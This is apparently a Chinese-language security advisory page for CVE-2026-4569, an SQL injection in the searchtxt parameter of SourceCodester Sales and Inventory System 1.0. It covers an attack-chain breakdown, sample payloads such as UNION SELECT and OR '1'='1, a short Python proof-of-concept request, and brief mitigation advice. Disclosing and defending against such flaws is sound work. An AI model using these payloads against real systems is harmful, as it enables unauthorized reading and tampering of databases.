IPBUF安全漏洞报告
English
CVE-2026-4569 CVSS 6.3 中危

CVE-2026-4569 SourceCodester库存系统SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4569
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Sales and Inventory System

相关标签

SQL注入SourceCodesterWeb安全中危

漏洞概述

SourceCodester Sales and Inventory System 1.0存在SQL注入漏洞。该漏洞位于/view_category.php文件的HTTP POST请求处理程序中。由于对用户输入的searchtxt参数缺乏充分的过滤,远程攻击者可通过构造恶意SQL语句执行注入攻击,从而窃取数据库敏感信息或破坏数据完整性。

技术细节

该漏洞源于SourceCodester Sales and Inventory System 1.0版本中/view_category.php文件对HTTP POST请求处理的不当实现。具体而言,当系统处理分类查看请求时,直接获取用户提交的searchtxt参数值,并将其拼接到后端SQL查询语句中。由于缺乏有效的输入验证和消毒机制,攻击者可以注入恶意SQL语法(如UNION SELECT, OR 1=1等)。攻击者利用此漏洞无需用户交互即可在远程发起攻击。成功利用后,攻击者可读取数据库中的敏感信息(如用户凭证、业务数据),修改或删除数据,严重威胁系统的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别目标运行SourceCodester Sales and Inventory System 1.0,并确认/view_category.php接口可访问。
STEP 2
武器化
攻击者构造针对searchtxt参数的恶意SQL注入Payload(例如:' UNION SELECT user(), version()#)。
STEP 3
交付
攻击者向目标服务器/view_category.php发送包含恶意Payload的HTTP POST请求。
STEP 4
利用
服务器后端脚本未过滤searchtxt参数,直接将其拼接到SQL查询中执行。
STEP 5
影响
数据库执行恶意SQL语句,返回敏感数据(如用户名、密码哈希)或修改数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_sqli(target_url): """ Exploit SQL Injection in SourceCodester Sales and Inventory System 1.0 Vulnerable file: /view_category.php Vulnerable parameter: searchtxt (POST) """ url = f"{target_url}/view_category.php" # Basic SQL Injection payload to test vulnerability payload = { "searchtxt": "' OR '1'='1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for potential database errors or data leakage.") print(response.text[:500]) # Print first 500 chars for verification else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_sqli(target)

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
如果无法立即升级,建议限制对/view_category.php页面的网络访问,仅允许可信IP访问。同时,应在Web应用防火墙(WAF)中部署规则,拦截针对searchtxt参数的常见SQL注入攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表